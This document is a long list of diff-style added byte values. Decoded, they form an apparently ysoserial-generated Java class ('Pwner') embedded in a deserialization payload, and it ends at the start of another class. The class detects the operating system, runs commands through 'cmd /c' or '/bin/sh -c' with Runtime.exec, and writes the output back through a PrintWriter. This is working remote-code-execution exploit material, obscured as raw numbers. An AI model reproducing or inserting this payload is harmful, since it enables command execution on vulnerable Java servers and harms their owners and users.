+
+
+ 40
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 105
+
+
+ 111
+
+
+ 47
+
+
+ 73
+
+
+ 110
+
+
+ 112
+
+
+ 117
+
+
+ 116
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 101
+
+
+ 97
+
+
+ 109
+
+
+ 59
+
+
+ 41
+
+
+ 86
+
+
+ 12
+
+
+ 0
+
+
+ 97
+
+
+ 0
+
+
+ 98
+
+
+ 10
+
+
+ 0
+
+
+ 96
+
+
+ 0
+
+
+ 99
+
+
+ 1
+
+
+ 0
+
+
+ 5
+
+
+ 102
+
+
+ 108
+
+
+ 117
+
+
+ 115
+
+
+ 104
+
+
+ 12
+
+
+ 0
+
+
+ 101
+
+
+ 0
+
+
+ 11
+
+
+ 10
+
+
+ 0
+
+
+ 96
+
+
+ 0
+
+
+ 102
+
+
+ 1
+
+
+ 0
+
+
+ 7
+
+
+ 111
+
+
+ 115
+
+
+ 46
+
+
+ 110
+
+
+ 97
+
+
+ 109
+
+
+ 101
+
+
+ 8
+
+
+ 0
+
+
+ 104
+
+
+ 1
+
+
+ 0
+
+
+ 16
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 83
+
+
+ 121
+
+
+ 115
+
+
+ 116
+
+
+ 101
+
+
+ 109
+
+
+ 7
+
+
+ 0
+
+
+ 106
+
+
+ 1
+
+
+ 0
+
+
+ 11
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 80
+
+
+ 114
+
+
+ 111
+
+
+ 112
+
+
+ 101
+
+
+ 114
+
+
+ 116
+
+
+ 121
+
+
+ 12
+
+
+ 0
+
+
+ 108
+
+
+ 0
+
+
+ 59
+
+
+ 10
+
+
+ 0
+
+
+ 107
+
+
+ 0
+
+
+ 109
+
+
+ 1
+
+
+ 0
+
+
+ 16
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 103
+
+
+ 7
+
+
+ 0
+
+
+ 111
+
+
+ 1
+
+
+ 0
+
+
+ 11
+
+
+ 116
+
+
+ 111
+
+
+ 76
+
+
+ 111
+
+
+ 119
+
+
+ 101
+
+
+ 114
+
+
+ 67
+
+
+ 97
+
+
+ 115
+
+
+ 101
+
+
+ 12
+
+
+ 0
+
+
+ 113
+
+
+ 0
+
+
+ 90
+
+
+ 10
+
+
+ 0
+
+
+ 112
+
+
+ 0
+
+
+ 114
+
+
+ 1
+
+
+ 0
+
+
+ 3
+
+
+ 119
+
+
+ 105
+
+
+ 110
+
+
+ 8
+
+
+ 0
+
+
+ 116
+
+
+ 1
+
+
+ 0
+
+
+ 8
+
+
+ 99
+
+
+ 111
+
+
+ 110
+
+
+ 116
+
+
+ 97
+
+
+ 105
+
+
+ 110
+
+
+ 115
+
+
+ 1
+
+
+ 0
+
+
+ 27
+
+
+ 40
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 67
+
+
+ 104
+
+
+ 97
+
+
+ 114
+
+
+ 83
+
+
+ 101
+
+
+ 113
+
+
+ 117
+
+
+ 101
+
+
+ 110
+
+
+ 99
+
+
+ 101
+
+
+ 59
+
+
+ 41
+
+
+ 90
+
+
+ 12
+
+
+ 0
+
+
+ 118
+
+
+ 0
+
+
+ 119
+
+
+ 10
+
+
+ 0
+
+
+ 112
+
+
+ 0
+
+
+ 120
+
+
+ 1
+
+
+ 0
+
+
+ 17
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 82
+
+
+ 117
+
+
+ 110
+
+
+ 116
+
+
+ 105
+
+
+ 109
+
+
+ 101
+
+
+ 7
+
+
+ 0
+
+
+ 122
+
+
+ 1
+
+
+ 0
+
+
+ 10
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 82
+
+
+ 117
+
+
+ 110
+
+
+ 116
+
+
+ 105
+
+
+ 109
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 21
+
+
+ 40
+
+
+ 41
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 82
+
+
+ 117
+
+
+ 110
+
+
+ 116
+
+
+ 105
+
+
+ 109
+
+
+ 101
+
+
+ 59
+
+
+ 12
+
+
+ 0
+
+
+ 124
+
+
+ 0
+
+
+ 125
+
+
+ 10
+
+
+ 0
+
+
+ 123
+
+
+ 0
+
+
+ 126
+
+
+ 1
+
+
+ 0
+
+
+ 7
+
+
+ 99
+
+
+ 109
+
+
+ 100
+
+
+ 32
+
+
+ 47
+
+
+ 99
+
+
+ 32
+
+
+ 8
+
+
+ 0
+
+
+ -128
+
+
+ 1
+
+
+ 0
+
+
+ 4
+
+
+ 101
+
+
+ 120
+
+
+ 101
+
+
+ 99
+
+
+ 1
+
+
+ 0
+
+
+ 39
+
+
+ 40
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 103
+
+
+ 59
+
+
+ 41
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 80
+
+
+ 114
+
+
+ 111
+
+
+ 99
+
+
+ 101
+
+
+ 115
+
+
+ 115
+
+
+ 59
+
+
+ 12
+
+
+ 0
+
+
+ -126
+
+
+ 0
+
+
+ -125
+
+
+ 10
+
+
+ 0
+
+
+ 123
+
+
+ 0
+
+
+ -124
+
+
+ 1
+
+
+ 0
+
+
+ 11
+
+
+ 47
+
+
+ 98
+
+
+ 105
+
+
+ 110
+
+
+ 47
+
+
+ 115
+
+
+ 104
+
+
+ 32
+
+
+ 45
+
+
+ 99
+
+
+ 32
+
+
+ 8
+
+
+ 0
+
+
+ -122
+
+
+ 1
+
+
+ 0
+
+
+ 22
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 105
+
+
+ 111
+
+
+ 47
+
+
+ 66
+
+
+ 117
+
+
+ 102
+
+
+ 102
+
+
+ 101
+
+
+ 114
+
+
+ 101
+
+
+ 100
+
+
+ 82
+
+
+ 101
+
+
+ 97
+
+
+ 100
+
+
+ 101
+
+
+ 114
+
+
+ 7
+
+
+ 0
+
+
+ -120
+
+
+ 1
+
+
+ 0
+
+
+ 25
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 105
+
+
+ 111
+
+
+ 47
+
+
+ 73
+
+
+ 110
+
+
+ 112
+
+
+ 117
+
+
+ 116
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 101
+
+
+ 97
+
+
+ 109
+
+
+ 82
+
+
+ 101
+
+
+ 97
+
+
+ 100
+
+
+ 101
+
+
+ 114
+
+
+ 7
+
+
+ 0
+
+
+ -118
+
+
+ 1
+
+
+ 0
+
+
+ 17
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 80
+
+
+ 114
+
+
+ 111
+
+
+ 99
+
+
+ 101
+
+
+ 115
+
+
+ 115
+
+
+ 7
+
+
+ 0
+
+
+ -116
+
+
+ 1
+
+
+ 0
+
+
+ 14
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 73
+
+
+ 110
+
+
+ 112
+
+
+ 117
+
+
+ 116
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 101
+
+
+ 97
+
+
+ 109
+
+
+ 1
+
+
+ 0
+
+
+ 23
+
+
+ 40
+
+
+ 41
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 105
+
+
+ 111
+
+
+ 47
+
+
+ 73
+
+
+ 110
+
+
+ 112
+
+
+ 117
+
+
+ 116
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 101
+
+
+ 97
+
+
+ 109
+
+
+ 59
+
+
+ 12
+
+
+ 0
+
+
+ -114
+
+
+ 0
+
+
+ -113
+
+
+ 10
+
+
+ 0
+
+
+ -115
+
+
+ 0
+
+
+ -112
+
+
+ 1
+
+
+ 0
+
+
+ 42
+
+
+ 40
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 105
+
+
+ 111
+
+
+ 47
+
+
+ 73
+
+
+ 110
+
+
+ 112
+
+
+ 117
+
+
+ 116
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 101
+
+
+ 97
+
+
+ 109
+
+
+ 59
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 103
+
+
+ 59
+
+
+ 41
+
+
+ 86
+
+
+ 12
+
+
+ 0
+
+
+ 10
+
+
+ 0
+
+
+ -110
+
+
+ 10
+
+
+ 0
+
+
+ -117
+
+
+ 0
+
+
+ -109
+
+
+ 1
+
+
+ 0
+
+
+ 19
+
+
+ 40
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 105
+
+
+ 111
+
+
+ 47
+
+
+ 82
+
+
+ 101
+
+
+ 97
+
+
+ 100
+
+
+ 101
+
+
+ 114
+
+
+ 59
+
+
+ 41
+
+
+ 86
+
+
+ 12
+
+
+ 0
+
+
+ 10
+
+
+ 0
+
+
+ -107
+
+
+ 10
+
+
+ 0
+
+
+ -119
+
+
+ 0
+
+
+ -106
+
+
+ 1
+
+
+ 0
+
+
+ 0
+
+
+ 8
+
+
+ 0
+
+
+ -104
+
+
+ 1
+
+
+ 0
+
+
+ 8
+
+
+ 114
+
+
+ 101
+
+
+ 97
+
+
+ 100
+
+
+ 76
+
+
+ 105
+
+
+ 110
+
+
+ 101
+
+
+ 12
+
+
+ 0
+
+
+ -102
+
+
+ 0
+
+
+ 90
+
+
+ 10
+
+
+ 0
+
+
+ -119
+
+
+ 0
+
+
+ -101
+
+
+ 1
+
+
+ 0
+
+
+ 9
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 87
+
+
+ 114
+
+
+ 105
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 1
+
+
+ 0
+
+
+ 23
+
+
+ 40
+
+
+ 41
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 105
+
+
+ 111
+
+
+ 47
+
+
+ 80
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 87
+
+
+ 114
+
+
+ 105
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 59
+
+
+ 12
+
+
+ 0
+
+
+ -99
+
+
+ 0
+
+
+ -98
+
+
+ 10
+
+
+ 0
+
+
+ 69
+
+
+ 0
+
+
+ -97
+
+
+ 1
+
+
+ 0
+
+
+ 19
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 105
+
+
+ 111
+
+
+ 47
+
+
+ 80
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 87
+
+
+ 114
+
+
+ 105
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 7
+
+
+ 0
+
+
+ -95
+
+
+ 1
+
+
+ 0
+
+
+ 5
+
+
+ 119
+
+
+ 114
+
+
+ 105
+
+
+ 116
+
+
+ 101
+
+
+ 12
+
+
+ 0
+
+
+ -93
+
+
+ 0
+
+
+ 71
+
+
+ 10
+
+
+ 0
+
+
+ -94
+
+
+ 0
+
+
+ -92
+
+
+ 1
+
+
+ 0
+
+
+ 19
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 69
+
+
+ 120
+
+
+ 99
+
+
+ 101
+
+
+ 112
+
+
+ 116
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 7
+
+
+ 0
+
+
+ -90
+
+
+ 1
+
+
+ 0
+
+
+ 3
+
+
+ 111
+
+
+ 117
+
+
+ 116
+
+
+ 1
+
+
+ 0
+
+
+ 21
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 105
+
+
+ 111
+
+
+ 47
+
+
+ 80
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 101
+
+
+ 97
+
+
+ 109
+
+
+ 59
+
+
+ 12
+
+
+ 0
+
+
+ -88
+
+
+ 0
+
+
+ -87
+
+
+ 9
+
+
+ 0
+
+
+ 107
+
+
+ 0
+
+
+ -86
+
+
+ 1
+
+
+ 0
+
+
+ 19
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 84
+
+
+ 104
+
+
+ 114
+
+
+ 111
+
+
+ 119
+
+
+ 97
+
+
+ 98
+
+
+ 108
+
+
+ 101
+
+
+ 7
+
+
+ 0
+
+
+ -84
+
+
+ 10
+
+
+ 0
+
+
+ -83
+
+
+ 0
+
+
+ 91
+
+
+ 1
+
+
+ 0
+
+
+ 19
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 105
+
+
+ 111
+
+
+ 47
+
+
+ 80
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 101
+
+
+ 97
+
+
+ 109
+
+
+ 7
+
+
+ 0
+
+
+ -81
+
+
+ 1
+
+
+ 0
+
+
+ 7
+
+
+ 112
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 108
+
+
+ 110
+
+
+ 12
+
+
+ 0
+
+
+ -79
+
+
+ 0
+
+
+ 71
+
+
+ 10
+
+
+ 0
+
+
+ -80
+
+
+ 0
+
+
+ -78
+
+
+ 1
+
+
+ 0
+
+
+ 15
+
+
+ 112
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 83
+
+
+ 116
+
+
+ 97
+
+
+ 99
+
+
+ 107
+
+
+ 84
+
+
+ 114
+
+
+ 97
+
+
+ 99
+
+
+ 101
+
+
+ 12
+
+
+ 0
+
+
+ -76
+
+
+ 0
+
+
+ 11
+
+
+ 10
+
+
+ 0
+
+
+ -83
+
+
+ 0
+
+
+ -75
+
+
+ 1
+
+
+ 0
+
+
+ 13
+
+
+ 83
+
+
+ 116
+
+
+ 97
+
+
+ 99
+
+
+ 107
+
+
+ 77
+
+
+ 97
+
+
+ 112
+
+
+ 84
+
+
+ 97
+
+
+ 98
+
+
+ 108
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 29
+
+
+ 121
+
+
+ 115
+
+
+ 111
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 80
+
+
+ 119
+
+
+ 110
+
+
+ 101
+
+
+ 114
+
+
+ 52
+
+
+ 53
+
+
+ 52
+
+
+ 51
+
+
+ 56
+
+
+ 51
+
+
+ 49
+
+
+ 52
+
+
+ 50
+
+
+ 55
+
+
+ 56
+
+
+ 57
+
+
+ 57
+
+
+ 50
+
+
+ 1
+
+
+ 0
+
+
+ 31
+
+
+ 76
+
+
+ 121
+
+
+ 115
+
+
+ 111
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 80
+
+
+ 119
+
+
+ 110
+
+
+ 101
+
+
+ 114
+
+
+ 52
+
+
+ 53
+
+
+ 52
+
+
+ 51
+
+
+ 56
+
+
+ 51
+
+
+ 49
+
+
+ 52
+
+
+ 50
+
+
+ 55
+
+
+ 56
+
+
+ 57
+
+
+ 57
+
+
+ 50
+
+
+ 59
+
+
+ 0
+
+
+ 33
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 3
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 4
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 26
+
+
+ 0
+
+
+ 5
+
+
+ 0
+
+
+ 6
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 7
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 8
+
+
+ 0
+
+
+ 4
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 10
+
+
+ 0
+
+
+ 11
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 12
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 47
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 5
+
+
+ 42
+
+
+ -73
+
+
+ 0
+
+
+ 1
+
+
+ -79
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 13
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 6
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 47
+
+
+ 0
+
+
+ 14
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 12
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 5
+
+
+ 0
+
+
+ 15
+
+
+ 0
+
+
+ -71
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 19
+
+
+ 0
+
+
+ 20
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 12
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 63
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 3
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ -79
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 13
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 6
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 52
+
+
+ 0
+
+
+ 14
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 32
+
+
+ 0
+
+
+ 3
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 15
+
+
+ 0
+
+
+ -71
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 21
+
+
+ 0
+
+
+ 22
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 23
+
+
+ 0
+
+
+ 24
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 25
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 4
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 26
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 19
+
+
+ 0
+
+
+ 27
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 12
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 73
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 4
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ -79
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 13
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 6
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 56
+
+
+ 0
+
+
+ 14
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 42
+
+
+ 0
+
+
+ 4
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 15
+
+
+ 0
+
+
+ -71
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 21
+
+
+ 0
+
+
+ 22
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 28
+
+
+ 0
+
+
+ 29
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 30
+
+
+ 0
+
+
+ 31
+
+
+ 0
+
+
+ 3
+
+
+ 0
+
+
+ 25
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 4
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 26
+
+
+ 0
+
+
+ 8
+
+
+ 0
+
+
+ 41
+
+
+ 0
+
+
+ 11
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 12
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ 114
+
+
+ 0
+
+
+ 7
+
+
+ 0
+
+
+ 11
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ 18
+
+
+ -89
+
+
+ 0
+
+
+ 3
+
+
+ 1
+
+
+ 76
+
+
+ -72
+
+
+ 0
+
+
+ 47
+
+
+ -64
+
+
+ 0
+
+
+ 49
+
+
+ -74
+
+
+ 0
+
+
+ 53
+
+
+ -64
+
+
+ 0
+
+
+ 55
+
+
+ 18
+
+
+ 57
+
+
+ -74
+
+
+ 0
+
+
+ 61
+
+
+ 77
+
+
+ -72
+
+
+ 0
+
+
+ 47
+
+
+ -64
+
+
+ 0
+
+
+ 49
+
+
+ -74
+
+
+ 0
+
+
+ 53
+
+
+ -64
+
+
+ 0
+
+
+ 55
+
+
+ -74
+
+
+ 0
+
+
+ 65
+
+
+ 78
+
+
+ 45
+
+
+ 18
+
+
+ 67
+
+
+ -74
+
+
+ 0
+
+
+ 73
+
+
+ 45
+
+
+ -74
+
+
+ 0
+
+
+ 77
+
+
+ 58
+
+
+ 4
+
+
+ 25
+
+
+ 4
+
+
+ -69
+
+
+ 0
+
+
+ 79
+
+
+ 89
+
+
+ -69
+
+
+ 0
+
+
+ 81
+
+
+ 89
+
+
+ -73
+
+
+ 0
+
+
+ 82
+
+
+ 44
+
+
+ -74
+
+
+ 0
+
+
+ 86
+
+
+ 18
+
+
+ 88
+
+
+ -74
+
+
+ 0
+
+
+ 86
+
+
+ -74
+
+
+ 0
+
+
+ 92
+
+
+ -73
+
+
+ 0
+
+
+ 94
+
+
+ -74
+
+
+ 0
+
+
+ 100
+
+
+ 25
+
+
+ 4
+
+
+ -74
+
+
+ 0
+
+
+ 103
+
+
+ 18
+
+
+ 105
+
+
+ -72
+
+
+ 0
+
+
+ 110
+
+
+ 58
+
+
+ 5
+
+
+ 25
+
+
+ 5
+
+
+ 1
+
+
+ -91
+
+
+ 0
+
+
+ 16
+
+
+ 25
+
+
+ 5
+
+
+ -74
+
+
+ 0
+
+
+ 115
+
+
+ 18
+
+
+ 117
+
+
+ -74
+
+
+ 0
+
+
+ 121
+
+
+ -102
+
+
+ 0
+
+
+ 6
+
+
+ -89
+
+
+ 0
+
+
+ 33
+
+
+ -72
+
+
+ 0
+
+
+ 127
+
+
+ -69
+
+
+ 0
+
+
+ 81
+
+
+ 89
+
+
+ -73
+
+
+ 0
+
+
+ 82
+
+
+ 18
+
+
+ -127
+
+
+ -74
+
+
+ 0
+
+
+ 86
+
+
+ 44
+
+
+ -74
+
+
+ 0
+
+
+ 86
+
+
+ -74
+
+
+ 0
+
+
+ 92
+
+
+ -74
+
+
+ 0
+
+
+ -123
+
+
+ 58
+
+
+ 6
+
+
+ -89
+
+
+ 0
+
+
+ 30
+
+
+ -72
+
+
+ 0
+
+
+ 127
+
+
+ -69
+
+
+ 0
+
+
+ 81
+
+
+ 89
+
+
+ -73
+
+
+ 0
+
+
+ 82
+
+
+ 18
+
+
+ -121
+
+
+ -74
+
+
+ 0
+
+
+ 86
+
+
+ 44
+
+
+ -74
+
+
+ 0
+
+
+ 86
+
+
+ -74
+
+
+ 0
+
+
+ 92
+
+
+ -74
+
+
+ 0
+
+
+ -123
+
+
+ 58
+
+
+ 6
+
+
+ -69
+
+
+ 0
+
+
+ -119
+
+
+ 89
+
+
+ -69
+
+
+ 0
+
+
+ -117
+
+
+ 89
+
+
+ 25
+
+
+ 6
+
+
+ -74
+
+
+ 0
+
+
+ -111
+
+
+ 18
+
+
+ 67
+
+
+ -73
+
+
+ 0
+
+
+ -108
+
+
+ -73
+
+
+ 0
+
+
+ -105
+
+
+ 58
+
+
+ 7
+
+
+ 1
+
+
+ 58
+
+
+ 8
+
+
+ 18
+
+
+ -103
+
+
+ 58
+
+
+ 9
+
+
+ -89
+
+
+ 0
+
+
+ 25
+
+
+ -69
+
+
+ 0
+
+
+ 81
+
+
+ 89
+
+
+ -73
+
+
+ 0
+
+
+ 82
+
+
+ 25
+
+
+ 9
+
+
+ -74
+
+
+ 0
+
+
+ 86
+
+
+ 25
+
+
+ 8
+
+
+ -74
+
+
+ 0
+
+
+ 86
+
+
+ -74
+
+
+ 0
+
+
+ 92
+
+
+ 58
+
+
+ 9
+
+
+ 25
+
+
+ 7
+
+
+ -74
+
+
+ 0
+
+
+ -100
+
+
+ 89
+
+
+ 58
+
+
+ 8
+
+
+ 1
+
+
+ -90
+
+
+ -1
+
+
+ -31
+
+
+ 45
+
+
+ -74
+
+
+ 0
+
+
+ -96
+
+
+ 25
+
+
+ 9
+
+
+ -74
+
+
+ 0
+
+
+ -91
+
+
+ -89
+
+
+ 0
+
+
+ 24
+
+
+ 58
+
+
+ 10
+
+
+ -78
+
+
+ 0
+
+
+ -85
+
+
+ 25
+
+
+ 10
+
+
+ -74
+
+
+ 0
+
+
+ -82
+
+
+ -74
+
+
+ 0
+
+
+ -77
+
+
+ 25
+
+
+ 10
+
+
+ -74
+
+
+ 0
+
+
+ -74
+
+
+ -89
+
+
+ 0
+
+
+ 3
+
+
+ -79
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 94
+
+
+ 0
+
+
+ -7
+
+
+ 0
+
+
+ -4
+
+
+ 0
+
+
+ -89
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ -73
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 70
+
+
+ 0
+
+
+ 9
+
+
+ 3
+
+
+ -1
+
+
+ 0
+
+
+ 109
+
+
+ 0
+
+
+ 6
+
+
+ 0
+
+
+ 5
+
+
+ 7
+
+
+ 0
+
+
+ 112
+
+
+ 7
+
+
+ 0
+
+
+ 69
+
+
+ 7
+
+
+ 0
+
+
+ 96
+
+
+ 7
+
+
+ 0
+
+
+ 112
+
+
+ 0
+
+
+ 0
+
+
+ 2
+
+
+ 29
+
+
+ -4
+
+
+ 0
+
+
+ 26
+
+
+ 7
+
+
+ 0
+
+
+ -115
+
+
+ -2
+
+
+ 0
+
+
+ 32
+
+
+ 7
+
+
+ 0
+
+
+ -119
+
+
+ 7
+
+
+ 0
+
+
+ 112
+
+
+ 7
+
+
+ 0
+
+
+ 112
+
+
+ 21
+
+
+ -1
+
+
+ 0
+
+
+ 23
+
+
+ 0
+
+
+ 6
+
+
+ 0
+
+
+ 5
+
+
+ 7
+
+
+ 0
+
+
+ 112
+
+
+ 7
+
+
+ 0
+
+
+ 69
+
+
+ 7
+
+
+ 0
+
+
+ 96
+
+
+ 7
+
+
+ 0
+
+
+ 112
+
+
+ 0
+
+
+ 1
+
+
+ 7
+
+
+ 0
+
+
+ -89
+
+
+ 20
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 32
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 33
+
+
+ 0
+
+
+ 17
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 10
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 35
+
+
+ 0
+
+
+ 16
+
+
+ 0
+
+
+ 9
+
+
+ 117
+
+
+ 113
+
+
+ 0
+
+
+ 126
+
+
+ 0
+
+
+ 13
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ -44
+
+
+ -54
+
+
+ -2
+
+
+ -70
+
+
+ -66
+
+
+ 0
+
+
